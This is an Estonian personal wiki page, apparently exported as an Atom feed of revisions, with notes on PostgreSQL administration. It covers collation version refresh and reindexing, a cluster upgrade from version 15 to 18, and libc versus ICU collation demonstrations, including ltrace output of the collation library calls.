postgres=# ALTER DATABASE &amp;quot;postgres&amp;quot; REFRESH COLLATION VERSION;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* reindexdb on käsk mis tuleb anda töötava baasi suhtes (mitte failisüsteemis lebavate binary data failide suhtes)&lt;br /&gt;
* pigem mitte kasutada reindexdb concurrency võimalusi (tundub, et ta ei tööta teatud tabelitega vms, tekitab .ccnew nimelisi laokile jäävaid indekseid; samas teadlikult kasutades võib olla abi)&lt;br /&gt;
* reindex muudab andmeid&lt;br /&gt;
* alter database .. refresh collation muudab nö raamatupidamist (tehniliselt saaks teha näiliselt baasi korda ka ilma reindex käsku ütlemata, aga küllap loodus sekkub varsti sel juhul)&lt;br /&gt;
&lt;br /&gt;
Tulemuse kontrollimine, veenduda, et pole katkisi indekseid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# SELECT relname as index_name&lt;br /&gt;
FROM pg_class c&lt;br /&gt;
JOIN pg_index i ON c.oid = i.indexrelid&lt;br /&gt;
WHERE i.indisvalid = false;&lt;br /&gt;
 index_name&lt;br /&gt;
------------&lt;br /&gt;
(0 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning, et peale muudatusi on datcollversion sobiva väärtusega (uuemaga kui enne muudatust, näiteks)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# SELECT datname, datcollversion FROM pg_database;&lt;br /&gt;
         datname          | datcollversion&lt;br /&gt;
--------------------------+----------------&lt;br /&gt;
 template0                |&lt;br /&gt;
 template1                | 2.41&lt;br /&gt;
 db_infosysteem           | 2.41&lt;br /&gt;
 postgres                 | 2.41&lt;br /&gt;
(4 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PostgreSQL v 15 -&amp;gt; v 18 uuendamine====&lt;br /&gt;
&lt;br /&gt;
Käesolev punkt tegeleb postgresql tarkvara enda uuendamisega. Üldised ettevalmistused, lülitada välja pgbackrest varundamine selleks, et olemasolevat varundust mitte eksitada&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/postgresql/15/main/postgresql.conf&lt;br /&gt;
..&lt;br /&gt;
archive_mode=off&lt;br /&gt;
archive_command='/usr/bin/true'&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/postgresql-common/createcluster.conf.d/moraal.conf&lt;br /&gt;
&lt;br /&gt;
..&lt;br /&gt;
create_main_cluster = false&lt;br /&gt;
initdb_options = '--locale=et_EE.UTF-8 --data-checksums'&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Uuendamise käsundamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ pg_upgradecluster -m upgrade -v 18 15 main&lt;br /&gt;
$ /usr/lib/postgresql/18/bin/vacuumdb --all --analyze-in-stages&lt;br /&gt;
$ /usr/lib/postgresql/18/bin/vacuumdb --all --analyze-only&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====pgbackrest seadistamine====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===locale provider - libc===&lt;br /&gt;
&lt;br /&gt;
collate tegeleb kahes dimensioonis&lt;br /&gt;
&lt;br /&gt;
* sorteerimise tulemus st andmete järjestus&lt;br /&gt;
* sorteerimise efektiivsus st on-disk indeksid&lt;br /&gt;
&lt;br /&gt;
create database 'lc_collate' omab vaikimisi mõju kahes kohas&lt;br /&gt;
&lt;br /&gt;
* indeksi moodustamisel 'CREATE INDEX idx_users_en ON users (username COLLATE &amp;quot;en_US.utf8&amp;quot;);' saab 'collate ...' ära jätta ja tulemus on sama&lt;br /&gt;
* select päringu tegemisel 'SELECT username FROM users ORDER BY username COLLATE &amp;quot;en_US.utf8&amp;quot;;' saab 'collate ...' ära jätta ja tulemus on sama&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# CREATE DATABASE db_imretest_libc_en_us_utf_8 LOCALE_PROVIDER = 'libc' LC_COLLATE = 'en_US.UTF-8' LC_CTYPE = 'en_US.UTF-8';&lt;br /&gt;
CREATE DATABASE&lt;br /&gt;
postgres=# \l db_imretest_libc_en_us_utf_8&lt;br /&gt;
List of databases&lt;br /&gt;
-[ RECORD 1 ]-----+-----------------------------&lt;br /&gt;
Name              | db_imretest_libc_en_us_utf_8&lt;br /&gt;
Owner             | postgres&lt;br /&gt;
Encoding          | UTF8&lt;br /&gt;
Locale Provider   | libc&lt;br /&gt;
Collate           | en_US.UTF-8&lt;br /&gt;
Ctype             | en_US.UTF-8&lt;br /&gt;
Locale            |&lt;br /&gt;
ICU Rules         |&lt;br /&gt;
Access privileges |&lt;br /&gt;
&lt;br /&gt;
postgres=# \c db_imretest_libc_en_us_utf_8&lt;br /&gt;
You are now connected to database &amp;quot;db_imretest_libc_en_us_utf_8&amp;quot; as user &amp;quot;postgres&amp;quot;.&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# CREATE TABLE users (&lt;br /&gt;
    id SERIAL PRIMARY KEY,&lt;br /&gt;
    username VARCHAR(100) NOT NULL&lt;br /&gt;
);&lt;br /&gt;
CREATE TABLE&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# INSERT INTO users (username) VALUES&lt;br /&gt;
('Zernask'),&lt;br /&gt;
('Škerin'),&lt;br /&gt;
('Smirnov'),&lt;br /&gt;
('Sébastien'),&lt;br /&gt;
('Sebastien'),&lt;br /&gt;
('Müller'),&lt;br /&gt;
('Muller');&lt;br /&gt;
INSERT 0 7&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# SELECT username FROM users ORDER BY username COLLATE &amp;quot;en_US.utf8&amp;quot;;&lt;br /&gt;
-[ RECORD 1 ]-------&lt;br /&gt;
username | Muller&lt;br /&gt;
-[ RECORD 2 ]-------&lt;br /&gt;
username | Müller&lt;br /&gt;
-[ RECORD 3 ]-------&lt;br /&gt;
username | Sebastien&lt;br /&gt;
-[ RECORD 4 ]-------&lt;br /&gt;
username | Sébastien&lt;br /&gt;
-[ RECORD 5 ]-------&lt;br /&gt;
username | Škerin&lt;br /&gt;
-[ RECORD 6 ]-------&lt;br /&gt;
username | Smirnov&lt;br /&gt;
-[ RECORD 7 ]-------&lt;br /&gt;
username | Zernask&lt;br /&gt;
&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# SELECT username FROM users ORDER BY username COLLATE &amp;quot;C.utf8&amp;quot;;&lt;br /&gt;
-[ RECORD 1 ]-------&lt;br /&gt;
username | Muller&lt;br /&gt;
-[ RECORD 2 ]-------&lt;br /&gt;
username | Müller&lt;br /&gt;
-[ RECORD 3 ]-------&lt;br /&gt;
username | Sebastien&lt;br /&gt;
-[ RECORD 4 ]-------&lt;br /&gt;
username | Smirnov&lt;br /&gt;
-[ RECORD 5 ]-------&lt;br /&gt;
username | Sébastien&lt;br /&gt;
-[ RECORD 6 ]-------&lt;br /&gt;
username | Zernask&lt;br /&gt;
-[ RECORD 7 ]-------&lt;br /&gt;
username | Škerin&lt;br /&gt;
&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# CREATE INDEX idx_users ON users (username);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# CREATE INDEX idx_users_en ON users (username COLLATE &amp;quot;en_US.utf8&amp;quot;);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# CREATE INDEX idx_users_c ON users (username COLLATE &amp;quot;C.utf8&amp;quot;);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näide&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# CREATE DATABASE db_imretest_libc_en_us_utf_8 LOCALE_PROVIDER = 'libc' LC_COLLATE = 'en_US.UTF-8' LC_CTYPE = 'en_US.UTF-8';&lt;br /&gt;
postgres=# CREATE DATABASE db_imretest_libc_et_ee_utf_8 LOCALE_PROVIDER = 'libc' LC_COLLATE = 'et_EE.UTF-8' LC_CTYPE = 'et_EE.UTF-8' template=template0;&lt;br /&gt;
&lt;br /&gt;
postgres=# \c db_imretest_libc_en_us_utf_8;&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# CREATE TABLE users (&lt;br /&gt;
    id SERIAL PRIMARY KEY,&lt;br /&gt;
    username VARCHAR(100) NOT NULL&lt;br /&gt;
);&lt;br /&gt;
CREATE TABLE&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# INSERT INTO users (username) VALUES&lt;br /&gt;
('Zernask'),&lt;br /&gt;
('Škerin'),&lt;br /&gt;
('Smirnov'),&lt;br /&gt;
('Sébastien'),&lt;br /&gt;
('Sebastien'),&lt;br /&gt;
('Müller'),&lt;br /&gt;
('Muller');&lt;br /&gt;
&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# \c db_imretest_libc_et_ee_utf_8;&lt;br /&gt;
You are now connected to database &amp;quot;db_imretest_libc_et_ee_utf_8&amp;quot; as user &amp;quot;postgres&amp;quot;.&lt;br /&gt;
db_imretest_libc_et_ee_utf_8=# CREATE TABLE users (&lt;br /&gt;
    id SERIAL PRIMARY KEY,&lt;br /&gt;
    username VARCHAR(100) NOT NULL&lt;br /&gt;
);&lt;br /&gt;
CREATE TABLE&lt;br /&gt;
db_imretest_libc_et_ee_utf_8=# INSERT INTO users (username) VALUES&lt;br /&gt;
('Zernask'),&lt;br /&gt;
('Škerin'),&lt;br /&gt;
('Smirnov'),&lt;br /&gt;
('Sébastien'),&lt;br /&gt;
('Sebastien'),&lt;br /&gt;
('Müller'),&lt;br /&gt;
('Muller');&lt;br /&gt;
INSERT 0 7&lt;br /&gt;
&lt;br /&gt;
db_imretest_libc_et_ee_utf_8=# SELECT username FROM users ORDER BY username;&lt;br /&gt;
 username&lt;br /&gt;
-----------&lt;br /&gt;
 Muller&lt;br /&gt;
 Müller&lt;br /&gt;
 Sebastien&lt;br /&gt;
 Sébastien&lt;br /&gt;
 Smirnov&lt;br /&gt;
 Škerin&lt;br /&gt;
 Zernask&lt;br /&gt;
(7 rows)&lt;br /&gt;
&lt;br /&gt;
db_imretest_libc_et_ee_utf_8=# \c db_imretest_libc_en_us_utf_8;&lt;br /&gt;
You are now connected to database &amp;quot;db_imretest_libc_en_us_utf_8&amp;quot; as user &amp;quot;postgres&amp;quot;.&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# SELECT username FROM users ORDER BY username;&lt;br /&gt;
 username&lt;br /&gt;
-----------&lt;br /&gt;
 Muller&lt;br /&gt;
 Müller&lt;br /&gt;
 Sebastien&lt;br /&gt;
 Sébastien&lt;br /&gt;
 Škerin&lt;br /&gt;
 Smirnov&lt;br /&gt;
 Zernask&lt;br /&gt;
(7 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===locale provider - icu===&lt;br /&gt;
&lt;br /&gt;
Mõisted&lt;br /&gt;
&lt;br /&gt;
* ICU - International Components for Unicode&lt;br /&gt;
* CLRD - Common Locale Data Repository&lt;br /&gt;
&lt;br /&gt;
Misc&lt;br /&gt;
&lt;br /&gt;
* collate - ei ole väga tavakõne sõna inglise keeles, aga tähendab järjestamist, organiseerimist jms&lt;br /&gt;
* lc_collate ja lc_ctype puudutavad füüsiliselt on-disk andmeid&lt;br /&gt;
* lc_messages, lc_monetary, lc_numeric, lc_time - on on-fly teisendused&lt;br /&gt;
&lt;br /&gt;
Paketihalduses paistavad asjasse puutuvad sellised paketid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
libicu72 - Debian v. 12&lt;br /&gt;
libicu76 - Debian v. 13&lt;br /&gt;
libicu70 - Ubuntu 22.04&lt;br /&gt;
libicu74 - Ubuntu 24.04&lt;br /&gt;
libicu78 - Ubuntu 26.04&lt;br /&gt;
postgresql-17-icu-ext - Debian v. 13 non-pgdg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# \dOS+&lt;br /&gt;
                                                                                      List of collations&lt;br /&gt;
   Schema   |          Name          | Provider |  Collate   |   Ctype    |      Locale      | ICU Rules | Deterministic? | Description&lt;br /&gt;
------------+------------------------+----------+------------+------------+------------------+-----------+----------------+--------------------------&lt;br /&gt;
 pg_catalog | C                      | libc     | C          | C          |                  |           | yes            | standard C collation&lt;br /&gt;
 pg_catalog | C.utf8                 | libc     | C.utf8     | C.utf8     |                  |           | yes            |&lt;br /&gt;
 pg_catalog | POSIX                  | libc     | POSIX      | POSIX      |                  |           | yes            | standard POSIX collation&lt;br /&gt;
 pg_catalog | af-NA-x-icu            | icu      |            |            | af-NA            |           | yes            | Afrikaans (Namibia)&lt;br /&gt;
 pg_catalog | af-ZA-x-icu            | icu      |            |            | af-ZA            |           | yes            | Afrikaans (South Africa)&lt;br /&gt;
 pg_catalog | af-x-icu               | icu      |            |            | af               |           | yes            | Afrikaans&lt;br /&gt;
 pg_catalog | agq-CM-x-icu           | icu      |            |            | agq-CM           |           | yes            | Aghem (Cameroon)&lt;br /&gt;
 pg_catalog | agq-x-icu              | icu      |            |            | agq              |           | yes            | Aghem&lt;br /&gt;
 pg_catalog | ak-GH-x-icu            | icu      |            |            | ak-GH            |           | yes            | Akan (Ghana)&lt;br /&gt;
 pg_catalog | ak-x-icu               | icu      |            |            | ak               |           | yes            | Akan&lt;br /&gt;
 pg_catalog | am-ET-x-icu            | icu      |            |            | am-ET            |           | yes            | Amharic (Ethiopia)&lt;br /&gt;
 pg_catalog | am-x-icu               | icu      |            |            | am               |           | yes            | Amharic&lt;br /&gt;
 pg_catalog | ar-001-x-icu           | icu      |            |            | ar-001           |           | yes            | Arabic (world)&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres@ph-minio-01:~$ psql&lt;br /&gt;
psql (17.9 (Debian 17.9-0+deb13u1))&lt;br /&gt;
Type &amp;quot;help&amp;quot; for help.&lt;br /&gt;
&lt;br /&gt;
postgres=# \l+&lt;br /&gt;
                                                                                       List of databases&lt;br /&gt;
   Name    |  Owner   | Encoding | Locale Provider |   Collate   |    Ctype    | Locale | ICU Rules |   Access privileges   |  Size   | Tablespace |                Description&lt;br /&gt;
-----------+----------+----------+-----------------+-------------+-------------+--------+-----------+-----------------------+---------+------------+--------------------------------------------&lt;br /&gt;
 postgres  | postgres | UTF8     | libc            | en_US.UTF-8 | en_US.UTF-8 |        |           |                       | 894 MB  | pg_default | default administrative connection database&lt;br /&gt;
 template0 | postgres | UTF8     | libc            | en_US.UTF-8 | en_US.UTF-8 |        |           | =c/postgres          +| 7353 kB | pg_default | unmodifiable empty database&lt;br /&gt;
           |          |          |                 |             |             |        |           | postgres=CTc/postgres |         |            |&lt;br /&gt;
 template1 | postgres | UTF8     | libc            | en_US.UTF-8 | en_US.UTF-8 |        |           | =c/postgres          +| 7425 kB | pg_default | default template for new databases&lt;br /&gt;
           |          |          |                 |             |             |        |           | postgres=CTc/postgres |         |            |&lt;br /&gt;
(3 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Uuemal ajal seadistustes puuduvad lc_ctype ja lc_collate (alatest v. 16)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres@ph-minio-01:~$ psql -c &amp;quot;SHOW ALL&amp;quot; | grep lc_&lt;br /&gt;
 lc_messages                                 | en_US.UTF-8                             | Sets the language in which messages are displayed.&lt;br /&gt;
 lc_monetary                                 | en_US.UTF-8                             | Sets the locale for formatting monetary amounts.&lt;br /&gt;
 lc_numeric                                  | en_US.UTF-8                             | Sets the locale for formatting numbers.&lt;br /&gt;
 lc_time                                     | en_US.UTF-8                             | Sets the locale for formatting date and time values.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Järjestused, 'locale provider = icu' ja 'icu locale = und' 'create database' moodustamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# CREATE DATABASE db_imretest_02&lt;br /&gt;
    WITH&lt;br /&gt;
    LOCALE_PROVIDER = 'icu'&lt;br /&gt;
    ICU_LOCALE = 'und'  -- The universal Unicode Root Locale!&lt;br /&gt;
    TEMPLATE = template0;&lt;br /&gt;
CREATE DATABASE&lt;br /&gt;
#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
postgresql icu extension kasutamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
db_imretest_02=# create extension icu_ext;&lt;br /&gt;
CREATE EXTENSION&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# SELECT icu_number_spellout(1250.50, 'et');&lt;br /&gt;
           icu_number_spellout&lt;br /&gt;
------------------------------------------&lt;br /&gt;
 üks tuhat kakssada viiskümmend koma viis&lt;br /&gt;
(1 row)&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# SELECT icu_format_datetime(now(), '{full}', 'et');&lt;br /&gt;
                     icu_format_datetime&lt;br /&gt;
-------------------------------------------------------------&lt;br /&gt;
 pühapäev, 14. juuni 2026, kell 14:52:41 Ida-Euroopa suveaeg&lt;br /&gt;
(1 row)&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tabeliga järjestusega töötamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
db_imretest_02=# CREATE TABLE users (&lt;br /&gt;
    id SERIAL PRIMARY KEY,&lt;br /&gt;
    username VARCHAR(100) NOT NULL&lt;br /&gt;
);&lt;br /&gt;
CREATE TABLE&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# INSERT INTO users (username) VALUES&lt;br /&gt;
('Zernask'),&lt;br /&gt;
('Škerin'),&lt;br /&gt;
('Smirnov'),&lt;br /&gt;
('Sébastien'),&lt;br /&gt;
('Sebastien'),&lt;br /&gt;
('Müller'),&lt;br /&gt;
('Muller');&lt;br /&gt;
INSERT 0 7&lt;br /&gt;
db_imretest_02=#&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# SELECT username FROM users ORDER BY username COLLATE &amp;quot;et-EE-x-icu&amp;quot;;&lt;br /&gt;
 username&lt;br /&gt;
-----------&lt;br /&gt;
 Muller&lt;br /&gt;
 Müller&lt;br /&gt;
 Sebastien&lt;br /&gt;
 Sébastien&lt;br /&gt;
 Smirnov&lt;br /&gt;
 Škerin&lt;br /&gt;
 Zernask&lt;br /&gt;
(7 rows)&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# SELECT username FROM users ORDER BY username COLLATE &amp;quot;fr-FR-x-icu&amp;quot;;&lt;br /&gt;
 username&lt;br /&gt;
-----------&lt;br /&gt;
 Muller&lt;br /&gt;
 Müller&lt;br /&gt;
 Sebastien&lt;br /&gt;
 Sébastien&lt;br /&gt;
 Škerin&lt;br /&gt;
 Smirnov&lt;br /&gt;
 Zernask&lt;br /&gt;
(7 rows)&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# CREATE INDEX idx_users_universal ON users (username);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
db_imretest_02=# CREATE INDEX idx_users_estonian ON users (username COLLATE &amp;quot;et-EE-x-icu&amp;quot;);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
db_imretest_02=# CREATE INDEX idx_users_french ON users (username COLLATE &amp;quot;fr-FR-x-icu&amp;quot;);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# \di&lt;br /&gt;
                    List of relations&lt;br /&gt;
 Schema |        Name         | Type  |  Owner   | Table&lt;br /&gt;
--------+---------------------+-------+----------+-------&lt;br /&gt;
 public | idx_users_estonian  | index | postgres | users&lt;br /&gt;
 public | idx_users_french    | index | postgres | users&lt;br /&gt;
 public | idx_users_universal | index | postgres | users&lt;br /&gt;
 public | users_pkey          | index | postgres | users&lt;br /&gt;
(4 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
libc põhise ja icu põhise lahenduse function-library call esitamine, illustreerimaks kui päring mis esitatakse on default&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# SELECT username FROM users ORDER BY username;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# ps U postgres&lt;br /&gt;
    PID TTY      STAT   TIME COMMAND&lt;br /&gt;
    755 ?        Ss     0:00 /usr/lib/postgresql/17/bin/postgres -D /var/lib/postgresql/17/main -c config_file=/etc/postgresql/17/main/postgre&lt;br /&gt;
    818 ?        Ss     0:00 postgres: 17/main: checkpointer&lt;br /&gt;
    819 ?        Ss     0:02 postgres: 17/main: background writer&lt;br /&gt;
    852 ?        Ss     0:03 postgres: 17/main: walwriter&lt;br /&gt;
    853 ?        Ss     0:00 postgres: 17/main: autovacuum launcher&lt;br /&gt;
    854 ?        Ss     0:00 postgres: 17/main: logical replication launcher&lt;br /&gt;
   7704 pts/0    S      0:00 -bash&lt;br /&gt;
   7707 pts/0    S+     0:00 /usr/lib/postgresql/17/bin/psql&lt;br /&gt;
   7918 ?        Ss     0:00 postgres: 17/main: postgres db_imretest_01 [local] idle&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# ltrace -f -p 7918 2&amp;gt;&amp;amp;1 | grep --line-buffered strcoll&lt;br /&gt;
&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Zernask&amp;quot;, &amp;quot;\305\240kerin&amp;quot;)   = 1&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;\305\240kerin&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = 69&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Muller&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = -2&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Smirnov&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = 69&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;M\303\274ller&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = -2&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Zernask&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = 1&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Sebastien&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = -4&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Sebastien&amp;quot;, &amp;quot;Muller&amp;quot;)        = 2&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Sebastien&amp;quot;, &amp;quot;M\303\274ller&amp;quot;) = 2&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Muller&amp;quot;, &amp;quot;M\303\274ller&amp;quot;)    = -11&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Zernask&amp;quot;, &amp;quot;Smirnov&amp;quot;)         = 1&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Zernask&amp;quot;, &amp;quot;\305\240kerin&amp;quot;)   = 1&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Smirnov&amp;quot;, &amp;quot;\305\240kerin&amp;quot;)   = 30&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~#&lt;br /&gt;
root@ph-minio-01:~# ps U postgres&lt;br /&gt;
    PID TTY      STAT   TIME COMMAND&lt;br /&gt;
    755 ?        Ss     0:00 /usr/lib/postgresql/17/bin/postgres -D /var/lib/postgresql/17/main -c config_file=/etc/postgresql/17/main/postgre&lt;br /&gt;
    818 ?        Ss     0:00 postgres: 17/main: checkpointer&lt;br /&gt;
    819 ?        Ss     0:02 postgres: 17/main: background writer&lt;br /&gt;
    852 ?        Ss     0:03 postgres: 17/main: walwriter&lt;br /&gt;
    853 ?        Ss     0:00 postgres: 17/main: autovacuum launcher&lt;br /&gt;
    854 ?        Ss     0:00 postgres: 17/main: logical replication launcher&lt;br /&gt;
   7704 pts/0    S      0:00 -bash&lt;br /&gt;
   7707 pts/0    S+     0:00 /usr/lib/postgresql/17/bin/psql&lt;br /&gt;
   7935 ?        Ss     0:00 postgres: 17/main: postgres db_imretest_02 [local] idle&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# ltrace -f -p 7935 2&amp;gt;&amp;amp;1 | grep --line-buffered strcoll&lt;br /&gt;
[pid 7935] ucol_strcollUTF8_76(0x55c2fcb7aec0, 0x55c2fcc332a0, 0xffffffff, 0x55c2fcc336a8) = 0xffffffff&lt;br /&gt;
^C&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* libc põhisel juhtumil esitatakse mitu 'strcoll' library call'i&lt;br /&gt;
* icu põhisel juhtumil esitatakse üks 'ucol_strcollUTF8_76' library call (sisemiselt küll tehakse seal mitmeid call'isid)&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://www.postgresql.org/docs/current/collation.html&lt;br /&gt;
* https://icu.unicode.org/&lt;br /&gt;
* https://www.cybertec-postgresql.com/en/icu-collations-against-postgresql-data-corruption/&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* [[:PostgreSQL]]&lt;br /&gt;
* [[:Nagiose kasutamine Debian Lenniga]]&lt;br /&gt;
* https://github.com/omniti-labs/pg_extractor&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=PostgreSQL_haldamine&amp;diff=4213</id>
		<title>PostgreSQL haldamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=PostgreSQL_haldamine&amp;diff=4213"/>
		<updated>2026-06-15T08:44:07Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* locale provider - libc */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL andmebaasi haldamise eesmärgiks on tagada korrektselt tootav andmebaasiteenus, mida saavad kasutajad ja rakendused kasutada. PostgreSQL andmebaasi haldamine sisaldab sisaldab üldiselt selliseid tegevusi&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi tarkvara paigaldamine süsteemi&lt;br /&gt;
* Süsteemi paigaldatud andmebaasi tarkvara veaparanduste rakendamine&lt;br /&gt;
* Süsteemi paigaldatud andmebaasi tarkvara versiooniuuenduste sooritamine&lt;br /&gt;
* Andmabaasile kasutajate ja rakenduse jaoks ligipääsude tegemine&lt;br /&gt;
* Andmebaasi vakumeerimine&lt;br /&gt;
* Andmebaasist või selle osadest arhiivifaili moodustamine ja sellise arhiivifaili kasutamine&lt;br /&gt;
* Andmebaasi varundamine ja taaste&lt;br /&gt;
* Andmebaasi tarkvara eemaldamine süsteemist&lt;br /&gt;
&lt;br /&gt;
Osa neist tegevustest on Kuutõrvajas käsitletetud eraldi tekstides.&lt;br /&gt;
&lt;br /&gt;
Andmebaasi haldamise alla ei kuulu t andmebaasi kasutamisega seotud küsimused, kuigi tehniliselt võib saada kasutada samu instrumente nii kasutamise kui haldusprotseduuride soovitamiseks, nt programm psql.&lt;br /&gt;
&lt;br /&gt;
Lisaks haldusprotseduuride endile kirjeldatakse käesolevas tekstis ka nt PostgreSQL andmebaasi objektide hierariat ja privileegisüsteemi, samuti, kuidas saada vastuseid haldamise seisukohalt olulistele küsimustele, nt milline on tabeli või andmebaasi suurus MBaitides.&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
* commit kirjutab muudatuse wal logifaili&lt;br /&gt;
* checkpoint kirjutab muudatused andmefailidesse&lt;br /&gt;
&lt;br /&gt;
Vastaku ühe tabeli mingitele ridadele kolm 8k suurust page't base kataloogi all mingis failis; kui parasjagu baas nendega töötab, sh muudab, siis võiks nii öelda, et neist on olemas kolm eksemplari, kõik tõenäoliselt vähemalt mingitel hetkedel mingis osas erinevad üksteisest&lt;br /&gt;
&lt;br /&gt;
* base kataloogi alla nn data failides&lt;br /&gt;
* shared buffers mälus&lt;br /&gt;
* wal logi kataloogis failides&lt;br /&gt;
&lt;br /&gt;
